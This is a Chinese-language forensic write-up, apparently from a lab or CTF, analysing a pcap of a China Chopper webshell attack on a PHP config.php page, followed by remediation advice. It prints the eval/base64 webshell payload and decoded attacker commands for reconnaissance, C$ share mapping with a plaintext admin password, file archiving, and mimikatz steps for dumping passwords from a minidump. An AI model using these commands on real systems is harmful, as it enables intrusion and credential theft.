HTTP网络攻击分析

该报告针对 192.168.30.0/24 网段,通过 Wireshark 抓包等方法审计发现http 192.168.30.170 的 config.php 存在远程代码执行漏洞,攻击者(192.168.30.101)借此执行命令、泄露 192.168.30.184 管理员账号密码并尝试横向渗透,同时提出了分阶段的修复、加固与监控建议

  • 简介
  1. 目的
  1. 本次系统审计以网络流量安全分析为核心,通过对目标网段内的 HTTP 数据包进行深度解析,识别潜在的未授权访问、远程命令执行及敏感信息泄露行为,验证目标系统(192.168.30.170)的安全防护有效性,明确网络交互中的风险点,为后续安全加固提供数据支撑
  1. 意义
  • 从实战角度还原攻击者可能利用的系统漏洞(如 PHP 代码注入),帮助运维团队理解漏洞利用路径;
  • 发现敏感操作(如管理员账号密码明文传输、未授权网络共享映射),避免因信息泄露导致的进一步攻击(如横向渗透、数据窃取);
  • 建立标准化的 "流量抓包 - 协议分析 - 命令解码 - 风险判定" 审计流程,为同类网络安全审计提供参考模板;
  • 推动系统从 "被动防御" 向 "主动检测" 转型,降低因未发现的恶意行为导致的业务中断或数据损失风险。
  • 审计范围和目标
  1. 范围
(1)网络范围
  • 目标网段:192.168.30.0/24(基于数据包中源目 IP:192.168.30.101、192.168.30.170、192.168.30.184);
  • 核心主机:
    • 攻击端(疑似):192.168.30.101(发送含恶意代码的 HTTP POST 请求);
    • 被攻击端(目标系统):192.168.30.170(开放 80 端口,提供 config.php );
    • 第三方主机:192.168.30.184(被尝试建立 C$ 共享映射)。
(2)协议
  • 协议类型:HTTP 协议(TCP 80 端口);
  • 核心:192.168.30.170 的/config.php(接收含 Base64 加密命令的 POST 请求)。
  1. 目的
  • 确认 192.168.30.170 的/config.php是否存在远程代码执行漏洞;
  • 解析 HTTP 请求中 Base64 加密的命令内容,判定操作的合法性与风险等级;
  • 追踪攻击者(192.168.30.101)的操作轨迹,识别其核心目的(如信息收集、横向渗透);
  • 评估敏感信息(如管理员密码、主机共享权限)的泄露风险;
  • 形成可落地的安全整改建议,阻断同类攻击路径。
  • 审计的方法

本次审计采用 "工具支撑 + 技术解析 + 行为验证" 的组合方法,具体如下:

|--------------|---------------------------|---------------------------------------------------------------------------------------------------|
| 审计环节 | 工具 / 技术 | 作用描述 |
| 数据采集与过滤 | Wireshark | 加载目标数据包(4-chopper.pcap),通过 "http" 过滤规则提取所有 HTTP 流量,排除非相关协议干扰 |
| 数据包解析 | Wireshark(HTTP 协议分析) | 解析每个 POST 请求的源目 IP、端口(1748-1750→80)、请求体(Form 表单参数 yo、z0、z1、z2) |
| 加密命令解码 | 在线 Base64 解码工具(Base64.us) | 对 Form 参数 z2 中的 Base64 字符串进行解码,还原隐藏的 Windows 命令 |
| 命令行为验证 | Windows CMD/PowerShell | 在与目标系统环境(Windows 系统、对应 PHP 版本)一致的测试环境中,执行解码后的 z2 命令,验证命令实际效果(如是否成功获取 ARP 表、建立 C$ 共享映射),确认攻击行为的可行性 |

  • 审计的流程

第一种方法: 基于 Form 参数的命令解码分析

步骤 1:数据准备与流量过滤

  • 加载数据包:将4-chopper.pcap导入 Wireshark,确认数据包捕获时间范围为 2014-11-14 22:47 至 22:49,共包含 18038 个分组,通过 "http" 过滤规则筛选出 37 条 HTTP 相关流量(占比 0.2%);
  • 核心流量锁定:聚焦源 IP 为 192.168.30.101、目的 IP 为 192.168.30.170、带有config.php的 POST 请求(共 10 + 条),此类请求均携带application/x-www-form-urlencoded类型的表单数据,疑似存在代码注入。

通过 Wireshark "HTML Form URL Encoded" 字段,提取所有 POST 请求的核心参数,发现固定参数结构:

  • yo:固定值为@eval\001(base64_decode($_POST[z0]));------PHP 代码注入入口,通过eval函数执行 z0 参数解码后的代码;
  • z0:Base64 编码的 PHP 配置代码(如@ini_set("display_errors","0");关闭错误显示,规避审计检测);
  • z1:固定值为Y21k(Base64 解码为cmd),指定执行 Windows 命令行;
  • z2:核心攻击命令(Base64 编码),需解码后分析具体行为。

步骤 2 :z2 参数 Base64 解码与命令分析

对关键 HTTP 请求的 z2 参数进行解码,还原攻击者执行的命令及目的,具体如下表:

解码后看到是用了一个whoami的命令,是用来查看当前登录并正在执行命令的用户身份

查看下一个http包

可以看到使用了arp -a用来当前主机的arp表

192.168.30.2,这个应该是网关,192.168.30.101,这个应该是本机

继续查看下一个http包

可以看到用了net use 来建立网络映射,用Administrator管理员登录,密码是Test!@#123

|--------------------------------------|------------|-------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------|--------------|
| HTTP请求序号 (Wireshark) | 时间 | 源IP→目的IP | z2解码后命令 | 命令作用 | 风险等级 |
| 130 | 22:47:50 | 192.168.30.101→192.168.30.170 | cd /d "c:\inetpub\wwwroot"&whoami&echo [S]&cd&echo [E] | 切换到 Web 根目录,查看当前用户身份,确认操作目录 | 中 |
| 340 | 22:48:00 | 192.168.30.101→192.168.30.170 | cd /d "c:\inetpub\wwwroot"&arp -a&echo [S]&cd&echo [E] | 查看目标主机 ARP 表,收集网段内设备(网关、其他主机)的 IP 与 MAC 地址,为横向渗透做准备 | 中 |
| 449 | 22:48:10 | 192.168.30.101→192.168.30.170 | cd /d "c:\inetpub\wwwroot"&net use \192.168.30.184\C "Test!@#123" /u:Administrator\&echo \[S\]\&cd\&echo \[E\] | 以 Administrator 身份(密码:Test!@#123)尝试建立 192.168.30.184 主机的 C 共享映射,获取系统根目录访问权限 | 高 |
| 9997 | 22:49:30 | 192.168.30.101→192.168.30.170 | cd /d "c:\inetpub\wwwroot"&C:\progra~1\WinRAR\rar a C:\inetpub\wwwroot\backup\wwwroot.rar C:\inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E] | 将目标主机 Web 目录下的备份文件(1.gif)压缩并设置密码(JJBoom),疑似准备窃取敏感文件 | 高 |

第二种方法: 基于 TCP 追踪流的文件溯源分析

步骤 1 分析黑客的命令行操作

在http流中继续往下查看192.168.30.101的命令行操作

copy \\192.168.30.184\C$\windows\tasks\funnydata .\backup\1.gif

从远程主机(IP:192.168.30.184)的C:\windows\tasks目录(系统计划任务存储路径)复制文件funnydata,到本地当前目录的backup子文件夹中,并命名为1.gif(伪装成图片文件,可能为了隐藏文件真实用途)。

查看192.168.30.101的下一步操作

C:\progra~1\WinRAR\rar a ...

调用 WinRAR 工具(路径C:\Program Files\WinRAR\rar,progra~1是Program Files的短路径名)执行压缩操作:

  • a:表示创建压缩包;
  • 目标压缩包:C:\Inetpub\wwwroot\backup\wwwroot.rar;
  • 待压缩文件:之前复制的1.gif(即远程主机的funnydata);
  • -hpJJBoom:设置压缩包密码为JJBoom(-hp是 WinRAR 设置密码的参数)
步骤 2 :定位可疑文件传输流

在TCP追踪流的1360可以看到有rar文件,将数据显示为原始数据并导出文件

导出来后发现要密码

步骤 2:获取压缩文件密码

从前面的操作可以知道黑客用rar的命令行压缩文件并设置了密码

压缩包的密码是JJBoom

打开文件后是一个gif文件,打开后显示无法打开

放入kali里查看文件,可以看到是mini dump crash report文件

Mini dump是windows蓝屏自动创建的内存转储文件(Memory Dump),用于记录系统错误报告

步骤 3:解析伪装文件内容

内存转储文件可以用mimikatz工具读取

具体用法:

步骤一:打开mimikatz(有32位和64位,根据分析的文件使用对应版本,可以两者都试试)

Mimikatz.exe

步骤一:用sekurlsa模块读取minidump文件

sekurlsa::minidump 文件

sekurlsa::logonpasswords

然后得到管理员的密码

  • 审计结果

1. 核心安全问题

(1)远程代码执行漏洞(高危)
  • 问题描述:192.168.30.170 的/config.php接口存在PHP 代码注入漏洞,攻击者通过yo参数的eval函数注入恶意代码,执行任意 Windows 命令;
  • 证据:Wireshark 捕获的 POST 请求中,yo参数携带eval(base64_decode(...)),且解码后的 z2 命令已成功执行(响应包返回 ARP 表、当前用户等信息);
  • 影响:攻击者可通过该漏洞获取目标主机控制权,执行文件读写、横向渗透、数据窃取等操作。
(2)敏感信息泄露(高危)
  • 问题描述:攻击者通过net use命令泄露 192.168.30.184 主机的Administrator 账号密码(账号:Administrator,密码:Test!@#123),且密码复杂度极低(含常见特殊字符 + 简单数字,易被暴力破解);
  • 证据:449 号 HTTP 请求的 z2 参数解码后直接包含明文密码;
  • 影响:攻击者可利用该账号登录 192.168.30.184 主机,访问 C$ 共享(系统根目录),窃取或篡改敏感数据。
(3)未授权网络共享访问(中危)
  • 问题描述:192.168.30.184 主机开启 C$ 默认共享(管理员隐藏共享),且未限制访问 IP 或加强认证,导致攻击者可通过泄露的管理员账号建立映射;
  • 证据:net use \\192.168.30.184\C$ ...命令执行成功(无响应错误信息);
  • 影响:C$ 共享包含系统关键文件(如Windows\System32),未授权访问可能导致系统被篡改或植入恶意程序(如后门)。
(4)网络探测行为(中危)
  • 问题描述:攻击者通过arp -a命令收集 192.168.30.0/24 网段的设备信息(网关、其他主机 MAC/IP),为后续横向渗透做准备;
  • 证据:342 号响应包返回完整 ARP 表,包含 192.168.30.2(网关)、192.168.30.184(目标共享主机);
  • 影响:攻击者可基于 ARP 表定位网段内其他脆弱主机,扩大攻击范围。
  • 审计建议

1. 紧急修复:阻断当前攻击路径(1 个工作日内完成)

  • 修复config.php代码注入漏洞:
    • 禁用eval、assert等危险函数(在php.ini中配置disable_functions = eval,assert);
    • 对yo、z0、z2等 POST 参数进行严格输入验证(过滤base64_decode、cmd、cd等关键词);
    • 采用 "白名单机制" 限制参数允许值,拒绝非预期的命令或代码。
  • 重置敏感账号密码:
    • 立即修改 192.168.30.184 主机的 Administrator 密码,复杂度需满足 "大小写字母 + 数字 + 特殊字符(8 位以上)",且与历史密码无重复;
    • 检查同网段其他主机是否使用相同账号密码(如 192.168.30.170),统一重置并记录。
  • 关闭未授权共享:
    • 禁用 192.168.30.184 及其他主机的 C、
    • 默认共享(通过 "计算机管理→共享文件夹→共享" 删除,或执行命令net share C$ /delete);
    • 若业务需共享,配置 "仅允许指定 IP 访问"(如通过 Windows 防火墙限制 192.168.30.0/24 内可信 IP)。

2. 中期加固:提升系统与网络安全性(1 周内完成)

  • 加强 Web 服务安全:
    • 升级 PHP 版本至最新稳定版(修复旧版本漏洞),开启display_errors = Off(避免泄露路径、代码等信息);
    • 部署 Web 应用防火墙(WAF),过滤含 "eval""base64_decode""net use" 的恶意 HTTP 请求,重点监控/config.php等敏感接口。
  • 网络访问控制:
    • 在网关(192.168.30.2)配置 ACL 规则,限制 192.168.30.101 对 170、184 主机 80 端口的访问(若 101 为非可信主机,直接阻断);
    • 禁用主机的 ARP 缓存欺骗防护(如 Windows 开启 "ARP 欺骗保护" 组策略),防止攻击者通过 ARP 欺骗篡改网段内设备通信。

3. 长期监控:建立持续审计机制(长期执行)

  • 日志审计:
    • 开启 Web 服务器(如 IIS)的访问日志,记录所有对/config.php的请求(包含源 IP、参数、响应码);
    • 开启 Windows 主机的 "安全日志",记录管理员登录、共享访问、命令执行行为(通过 "本地安全策略→审计策略" 配置)。
  • 流量监控:
    • 定期使用 Wireshark 或流量分析工具(如 Snort)捕获 192.168.30.0/24 网段的 HTTP 流量,重点检测含 Base64 编码参数的 POST 请求;
    • 配置告警规则:当出现 "eval""net use""arp -a" 等命令相关的流量时,实时推送告警至运维团队。
  • 安全培训:
    • 对运维人员开展 "代码安全" 培训,避免开发中使用eval等危险函数,加强参数校验意识;
    • 对管理员开展 "账号安全" 培训,禁止使用弱密码、跨主机复用密码,定期(每 3 个月)更换管理员密码。
相关推荐
TOPGUS18 小时前
谷歌Chrome浏览器即将对HTTP网站设卡:突出展示“始终使用安全连接”功能
前端·网络·chrome·http·搜索引擎·seo·数字营销
韶关亿宏科技-光纤通信小易19 小时前
光模块-数字时代的算力传输纽带
大数据·网络
Wadli19 小时前
项目5 |HTTP服务框架
网络·网络协议·http
fy zs19 小时前
网络编程套接字
linux·服务器·网络·c++
yuanmenghao19 小时前
CAN系列 — (8) 为什么 Radar Object List 不适合“直接走 CAN 信号”
网络·数据结构·单片机·嵌入式硬件·自动驾驶·信息与通信
CCPC不拿奖不改名19 小时前
网络与API:HTTP基础+面试习题
网络·python·网络协议·学习·http·面试·职场和发展
ghostwritten19 小时前
Kubernetes 网络模式深入解析?
网络·容器·kubernetes
Tao____19 小时前
企业级物联网平台
java·网络·物联网·mqtt·网络协议
OpsEye19 小时前
Redis 内存碎片的隐形消耗——如何用 memory purge 命令释放空间?
运维·网络·数据库·redis·缓存·内存·监控